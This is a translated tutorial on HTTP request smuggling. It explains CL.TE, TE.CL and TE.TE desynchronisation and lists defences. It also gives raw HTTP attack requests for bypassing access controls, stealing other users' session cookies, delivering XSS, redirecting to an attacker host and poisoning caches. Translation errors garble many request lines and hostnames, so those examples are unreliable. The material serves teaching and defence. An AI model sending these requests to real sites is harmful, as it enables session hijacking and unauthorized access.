HTTP request smuggling
In this section, we will explain what HTTP request smuggling is and describe how common request smuggling vulnerabilities arise.
What is HTTP request smuggling
HTTP request smuggling is a technique that interferes with a website’s ability to process multiple HTTP request sequences. The request smuggling vulnerability is harmful, allowing an attacker to bypass security controls, gain unauthorized access to sensitive data and directly harm other application users.
What happened to HTTP request smuggling
Today’s application architectures often use services such as load balancers, reverse proxies, gateways, and so on. These services act as a forwarding request on the link to the back-end server, and are referred to as the front-end server in this article because they are located in front of the back-end server.
When the front end server (forwarding service) forwards HTTP requests to the back end server, it usually sends multiple requests over the same network connection with the back end server because it is more efficient. The protocol is very simple: HTTP requests are sent one after the other, and the receiving server parses the HTTP request header to determine where one request ends and the next begins, as shown below:
In this case, the front-end server (forwarding service) and the back-end system must agree on the boundaries of the request. Otherwise, an attacker may send an ambiguous request that is parsed differently by the front-end server (forwarding service) than the back-end system:
As shown in the figure above, an attacker causes a portion of the previous request to be parsed by the back-end server as the start of the next request, which interferes with how the application processes that request. This is a request for smuggling attack, and it can have devastating consequences.
How do HTTP request smuggling vulnerabilities arise
The vast majority of HTTP request smuggling vulnerabilities occur because the HTTP specification provides two different ways to specify where a request ends: the Content-Length header and the Transfer-Encoding header.
The Content-Length header is simple and directly specifies the Length of the message body in bytes. Such as:
POST/Search HTTP/1.1 Host: normal-website.com Content-type: Application/X-www-form-urlencoded content-Length: 11 q=smugglingCopy the code
The Transfer-encoding header can declare that the body of the message is chunked encoded, meaning that the body is split into one or more transponds, each of which begins with the current size of the chunk (in hexadecimal), followed by \r\n, then the contents of the chunk, followed by \r\n. The terminating chunk of the message is of the same format, except that its length is zero. Such as:
POST/Search HTTP/1.1 Host: normal-website.com Content-type: Application/X-www-form-urlencoded transfer-encoding: chunked b q=smuggling 0Copy the code
Because the HTTP specification provides two different ways to specify the length of an HTTP message, it is perfectly possible to use both methods in a single message, making them incompatible. To avoid this ambiguity, the HTTP specification states that content-Length should be ignored if both content-Length and Transfer-Encoding exist. This ambiguity may seem avoidable when only one service is running, but it becomes unavoidable when multiple services are wired together. In this case, there are two reasons for the problem:
- Some servers do not support the request
Transfer-Encoding
Head. - Some servers do
Transfer-Encoding
Header, but obfuscation can be done in a way that induces not processing of this header.
If the front-end server (forwarding service) and back-end server handle Transfer-Encoding differently, they may diverge on the boundaries between successive requests, leading to request smuggling vulnerabilities.
How do I conduct HTTP request smuggling attacks
A request smuggling attack requires both Content-Length and Transfer-Encoding to be used in the HTTP request header so that the front-end server (forwarding service) and back-end server process the request differently. The exact execution depends on the behavior of the two servers:
CL.TE
: Used by front-end servers (forwarding services)Content-Length
Header, used by the back-end serverTransfer-Encoding
Head.TE.CL
: Used by front-end servers (forwarding services)Transfer-Encoding
Header, used by the back-end serverContent-Length
Head.TE.TE
: used by both front-end servers (forwarding services) and back-end serversTransfer-Encoding
Header, but the header can be obfuscated in some way to induce one of the servers not to process it.
CL. TE loopholes
The front-end server (forwarding service) uses the Content-Length header and the back-end server uses the Transfer-Encoding header. We can construct a simple HTTP request smuggling attack as follows:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
The front-end server (forwarding service) uses Content-Length to determine that the request body is 13 bytes long, up to the end of SMUGGLED. The request is then forwarded to the back-end server.
The back-end server uses Transfer-encoding, treats the request body as chunked, and processes the first chunk, which happens to be a terminating chunk of zero length, so it immediately considers the message to be over, and the following SMUGGLED will not be processed, treating it as the start of the next request.
TE. CL loopholes
The front-end server (forwarding service) uses the Transfer-Encoding header and the back-end server uses the Content-Length header. We can construct a simple HTTP request smuggling attack as follows:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
Note: the 0 above is followed by \r\n\r\n.
The front-end server (forwarding service) uses Transfer-encoding to encode the body of the message as a chunk. The first chunk is 8 bytes long and the content is SMUGGLED, and the second chunk is 0 long and terminates the chunk, so the request terminates here and is forwarded to the back-end service.
The backend service uses Content-Length and considers the message body to be only 3 bytes, i.e. 8\r\n, and the rest will not be processed and will be treated as the start of the next request.
TE.TE confuses the TE header
Both the front-end server (forwarding service) and the back-end server use the Transfer-Encoding header, but the header can be obfuscated in some way to induce one of the servers not to process it.
The ways to confuse transfer-Encoding headers can be endless. Such as:
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
Copy the code
Each of these technologies is slightly different from the HTTP specification. The actual code implementing the protocol specification rarely complies with the protocol specification with absolute precision, and different implementations often tolerate variations from the protocol specification. To find the TE.TE vulnerability, you must find some variant of the Transfer-Encoding header so that either the front-end server (forwarding service) or the back-end server handles it properly and the other server ignores it.
Depending on whether it is the front-end server (forwarding service) or the back-end service that can be confused into not processing transfer-encoding, the subsequent attack is the same as the Cl.te or TE.CL vulnerability.
How to defend against HTTP request smuggling Vulnerability
HTTP request smuggling vulnerability occurs when the front-end server (forwarding service) forwards multiple requests to the back-end server through the same network connection, and the front-end server (forwarding service) and the back-end server have inconsistent judgment on the request boundary. Some common ways to defend against HTTP request smuggling vulnerabilities are as follows:
- Disable reuse of connections to back-end servers so that each request is sent over a separate network connection.
- Use HTTP/2 for back-end server connections because this protocol prevents ambiguity about boundaries between requests.
- The front-end server (forwarding service) and back-end server use exactly the same Web software so that they agree on boundaries between requests.
In some cases, vulnerabilities can be avoided by having the front-end server (forwarding service) normalize the ambiguous request or by having the back-end server reject the ambiguous request and close the network connection. However, this method is more error-prone than the general method above.
Find HTTP request smuggling vulnerabilities
In this section, we introduce different techniques for finding HTTP request smuggling vulnerabilities.
Timing technology
The most common and effective method for detecting HTTP request smuggling vulnerabilities is the timing technique. Send the request, and if there is a vulnerability, the application will respond with a time delay.
Use timing techniques to find Cl.te vulnerabilities
If the application has cl.te vulnerability, sending the following request usually causes a time delay:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4
1
A
X
The front-end server (forwarding service) uses Content-Length to think that the message body is only 4 bytes, i.e. 1\r\nA, so the following X is ignored, and forwards the request to the back end. The back-end service using Transfer-encoding will wait for the termination of the block 0\r\n. This can result in significant response delays.
Use timing techniques to find TE.cl vulnerabilities
If your application has te. CL vulnerability, sending the following request usually causes a time delay:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6
0
X
The front-end server (forwarding service) uses transfer-encoding, and since the first chunk is 0\r\n terminating the chunk, the following X is simply ignored and forwards the request to the back end. The backend service uses Content-Length and waits until the next 6 bytes of Content. This leads to significant delays.
Note: If an application is vulnerable to the CL.te vulnerability, time-based te.cl vulnerability testing may interfere with other application users. Therefore, in order to conceal and minimize interference, you should test cl.te first and only test te.Cl if it fails.
Use differential response to identify HTTP request smuggling vulnerabilities
When a possible request smuggling vulnerability is detected, further evidence of the vulnerability can be obtained by exploiting it to trigger differences in the content of the application response. This involves sending two requests to the application in succession:
- An attack request designed to interfere with the processing of the next request.
- A normal request.
If the response to a normal request contains the expected interference, the vulnerability is identified.
For example, suppose a normal request is as follows:
POST/Search HTTP/1.1 Host: 15th anniversary website.com Content-type: Application/X-www-form-urlencoded content-length: 11 q=smugglingCopy the code
This request typically receives an HTTP response with a status code of 200 that contains some of the search results.
The attack request depends on whether the requested smuggling is cl.te or TE.cl.
Cl.te vulnerability is identified using differential response
To identify the Cl.te vulnerability, you can send the following attack request:
POST HTTP / 1.1 / search
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked
e
q=smuggling&x=
0
GET/HTTP / 1.1 404
Foo: x
If the attack is successful, the last two lines are treated by the back-end service as the start of the next request. This causes the next normal request to look something like this:
GET/HTTP / 1.1 404
Foo: xPOST HTTP / 1.1 / search
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
Since the URL of the request is now an invalid address, the server will respond with a 404, indicating that the attack request did cause interference.
TE.CL vulnerability is identified using differential response
To identify the TE.cl vulnerability, you can send the following attack request:
POST HTTP / 1.1 / search
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
7c
GET/HTTP / 1.1 404
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
x=
0
If the attack is successful, the backend server treats everything from GET / 404 onwards as belonging to the next request received. This would cause a normal subsequent request to become:
GET/HTTP / 1.1 404
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 146
x=
0
POST HTTP / 1.1 / search
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
Since the URL of the request is now an invalid address, the server will respond with a 404, indicating that the attack request did cause interference.
Note that there are some important considerations to keep in mind when trying to identify request smuggling vulnerabilities by interfering with other requests:
- “Attack” and “normal” requests should be sent to the server using different network connections. Sending two requests over the same connection does not prove the vulnerability exists.
- “Attack” requests and “normal” requests should use the same URL and parameter names whenever possible. This is because many modern applications route front-end requests to different back-end servers based on URLS and parameters. Using the same URL and parameters increases the likelihood that the request will be processed by the same back-end server, which is critical for the attack to work.
- When testing “normal” requests to detect any interference from “attack” requests, you are in competition with any other requests your application receives at the same time, including requests from other users. You should send a “normal” request immediately after an “attack” request. If your application is busy, you may need to perform multiple attempts to confirm the vulnerability.
- In some applications, the front-end server acts as a load balancer, forwarding requests to different back-end systems based on some load-balancing algorithm. If your “attack” and “normal” requests are forwarded to different back-end systems, the attack will fail. This is another reason you may need to try multiple times to confirm a bug.
- If your attack successfully interferes with subsequent requests, but this is not a “normal” request that you sent to detect interference, it means that another application user has been affected by your attack. If you continue to test, this may have a disruptive effect on other users, and you should proceed with caution.
Exploit HTTP request smuggling vulnerabilities
In this section, we describe several ways to exploit the HTTP request smuggling vulnerability, depending on the intended functionality and other behavior of the application.
Use HTTP request smuggling vulnerability to bypass front-end server (forwarding service) security control
In some applications, the front-end server (forwarding service) is used not only to forward requests, but also to implement security controls to determine whether an individual request can be forwarded to the back-end, where the back-end service assumes that all received requests have passed security verification.
Suppose an application uses a front-end server (forwarding service) for access control, and only requests that the user is authorized to access are forwarded to the back-end server, which accepts all requests without further review. In this case, the HTTP request smuggling vulnerability can be used to bypass access control and smuggle requests to back-end servers.
Assume that the current user can access /home, but not /admin. They can circumvent this restriction by using the following request smuggling attacks:
POST HTTP / 1.1 / home
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked
0
GET/admin HTTP / 1.1
Host: vulnerable-website.com
Foo: xA GET HTTP / 1.1 / home
Host: vulnerable-website.com
The front-end server (forwarding service) treats this as a request, validates access, and since the user has access to /home, forwards the request to the back-end server. However, the back-end server treats it as a separate request for /home and /admin, and assumes that the request has been authenticated, at which point access control for /admin is effectively bypassed.
The front-end server (forwarding service) overwrites the request
In many applications, a request is rewritten before it is forwarded to a back-end service, usually by adding some additional request headers or the like. For example, a forward request rewrite might:
- Terminate the TLS connection and add some headers that describe the protocol and key used.
- add
X-Forwarded-For
The header is used to mark the user’s IP address. - Determine the user ID based on the user’s session token and add a header to identify the user.
- Add some sensitive information of interest to other attacks.
In some cases, if your smuggle request lacks some header added by the front-end server (forwarding service), the back-end service may not process it properly, resulting in the smuggle request not having the desired effect.
There are usually simple ways to know exactly how the front-end server (forwarding service) overrides the request. To do this, you need to perform the following steps:
- Find a POST request that reflects the values of the request parameters into the application response.
- Arrange parameters randomly so that the reflected parameters appear at the end of the message body.
- Smuggle the request to a back-end server and send a plain request to display in its rewritten form.
Suppose the application has a login function that reflects the email parameter:
POST /login HTTP/1.1 Host: 15th able-website.com Content-type: Application/X-www-form-urlencoded content-length: 28 [email protected]Copy the code
The response includes:
<input id="email" value="[email protected]" type="text">
Copy the code
At this point, you can use the following request smuggling attack to reveal the rewrite of the request by the front-end server (forwarding service) :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST HTTP / 1.1 / login
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
email=POST HTTP / 1.1 / login
Host: vulnerable-website.com
.
The front-end server (forwarding service) will rewrite the request to add a header, and the back-end server will process the smuggling request, taking the second request as the value of the email parameter and reflecting it in the response:
(15 years practicable) < INPUT ID ="email" value="POST /login HTTP/1.1 Host: 15th-attributable website.com X-Forwarded-for: 15th-attributable (15th-attributable) HTTPS X-TLS-bits: 128 X-TLS-cipher: ecdhe-rsa-aes128-GMC-sha256 x-TLS-version: TLSv1.2 x-nr-external-service: external ...Copy the code
Note: Since the last request is being rewritten, you don’t know how long it will take to finish. The value of the Content-Length header in the smuggling request determines how long it takes the back-end server to process the request. If you set this value too short, you will receive only partial rewrite requests; If set too long, the backend server will wait for a timeout. The solution, of course, is to guess an initial value slightly larger than the submitted request, and then gradually increase that value to retrieve more information until you have everything of interest.
Once you understand how the forwarding server overrides the request, you can make the necessary adjustments to the smuggled request to ensure that the back-end server processes it as expected.
Capture requests from other users
If the application includes the ability to store and retrieve text data, HTTP request smuggling can be used to capture the content requested by other users. These may include session tokens, which can be captured for session-hijacking attacks, or sensitive data submitted by other users. The features that are attacked are usually comments, email, profiles, displaying nicknames, and so on.
To attack, you need to smuggle a request to submit data to the storage function, with the parameters containing the data at the end of the request. The next request processed by the back-end server is appended to the smuggling request, and the result stores another user’s original request.
Suppose an application submits a comment on a blog post with the following request, which will be stored and displayed on the blog:
POST/POST /comment HTTP/1.1 Host: vulnerabilities website.com content-type: application/x-www-form-urlencoded Content-Length: 154 Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&web site=https%3A%2F%2Fnormal-user.netCopy the code
You can perform the following request smuggling attacks to get the back-end server to store and display the next user request as a comment:
GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 324
0
POST HTTP / 1.1 / POST/comment
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2F normal-user.net&comment=
When the next user request is processed by the back-end server, it is appended to the smuggled request. The result is that user requests, including session cookies and other sensitive information, are treated as comment content:
POST HTTP / 1.1 / POST/comment
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2F normal-user.net&comment=GET / HTTP/1.1
Host: vulnerable-website.com
Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj
.
Finally, you can see the details of other user requests directly by normal viewing of comments.
Note: The limitation of this technique is that it usually only captures data up to the smuggled request boundary. For URL-encoded form submissions, it is the ampersand character, which means that the stored content of the victim user’s request is up to the first ampersand.
Reflective XSS attacks using HTTP request smuggling
If your application has both HTTP request smuggling and reflexive XSS vulnerabilities, you can use request smuggling to attack other users of your application. This approach is superior to a typical reflexive XSS attack in two ways:
- It does not need to interact with the victim user. You don’t need to send a phishing link to a victim and wait for them to visit. All you need to do is smuggle a request containing an XSS payload and the next user’s request processed by the back-end server will hit.
- It can take advantage of XSS attacks in parts of the request, such as HTTP request headers, that cannot be easily controlled in a normal reflexive XSS attack.
Assuming that an application has a reflective XSS vulnerability on the User-Agent head, you can exploit this vulnerability by request smuggling as shown below:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked
0
GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X
At this point, the next user’s request will be appended to the smuggled request, and they will receive the reflective XSS payload in response.
Convert an intra-station redirect to an open redirect using HTTP request smuggling
Many applications redirect intra-site urls based on the HOST header of the request. An example is the default behavior of Apache and IIS Web servers, where a request to a directory without a slash redirects to the same directory with a slash:
GET /home HTTP/1.1
Host: normal-website.com
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
Copy the code
Typically, this behavior is considered harmless, but it can be used in a request smuggling attack to redirect other users to an external domain. Such as:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked
0
A GET HTTP / 1.1 / home
Host: attacker-website.com
Foo: X
The smuggling request will trigger a redirect to the attacker’s site, which will affect the next user’s request processed by the back-end service, for example:
A GET HTTP / 1.1 / home
Host: attacker-website.com
Foo: XGET/scripts/include. Js HTTP / 1.1
Host: vulnerable-website.com
HTTP / 1.1 301 version Permanently
Location: https://attacker-website.com/home/
At this point, if the user requests a JavaScript file imported from a Web site, the attacker can take full control of the victim user by returning his own JavaScript in the response.
Using HTTP request smuggling for Web cache Poisoning
A variant of the above attack is to use HTTP request smuggling to poison the Web cache. If any part of the front-end infrastructure uses the cache cache, it is possible to break the cache with off-site redirection responses. The effect of this attack will persist, and any subsequent user who requests a contaminated URL will be affected.
In this variant attack, the attacker sends the following to the front-end server:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 59
Transfer-Encoding: chunked
0
A GET HTTP / 1.1 / home
Host: attacker-website.com
Foo: XGET/static/include. Js HTTP / 1.1
Host: vulnerable-website.com
The back-end server responds to the smuggling request with off-site redirection as before. The front-end server considers the response to the second request URL and then caches it:
/static/include.js: GET /static/include.js HTTP/1.1 Host: 15th-attributable website.com HTTP/1.1 301 Moved Permanently Location: https://attacker-website.com/home/Copy the code
From now on, when other users request this URL, they will receive a redirect to the attacker’s site.
Using HTTP request smuggling for Web cache Poisoning
Another variant of the attack is to use HTTP request smuggling for Web cache spoofing. This is similar to the way web cache poisons, but for a different purpose.
What is the difference between Web cache poisoning and Web cache deception?
- In a Web cache poisoning case, an attacker can cause an application to store malicious content in the cache, which is served to other users from the cache.
- In the case of Web cache deception, the attacker causes the application to store certain sensitive content belonging to another user in the cache, which is then retrieved by the attacker from the cache.
In this attack, the attacker makes a smuggling request that returns user-specific sensitive content. Such as:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked
0
GET/private/messages HTTP / 1.1
Foo: X
A request from another user is appended to the smuggling request by a back-end server, including session cookies and other headers. Such as:
GET/private/messages HTTP / 1.1
Foo: X GET/static/some - image. HTTP / 1.1 PNG
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
.
The back-end server responds to the request in a normal manner. This request is used to retrieve the user’s private message and is normally processed in the context of the victim user’s session. The front-end server caches this response based on the URL in the second request, /static/some-image.png:
GET/static/some - image. HTTP / 1.1 PNG Host: vulnerable-website.com HTTP / 1.1 200 Ok... <h1>Your private messages</h1> ...Copy the code
The attacker then accesses the static URL and receives the sensitive content returned from the cache.
An important caveat here is that the attacker does not know which URL the sensitive content will be cached at, because that URL is the one the victim user happens to encounter when the smuggling request is in effect. An attacker may need to obtain a large number of static urls to discover the captured content.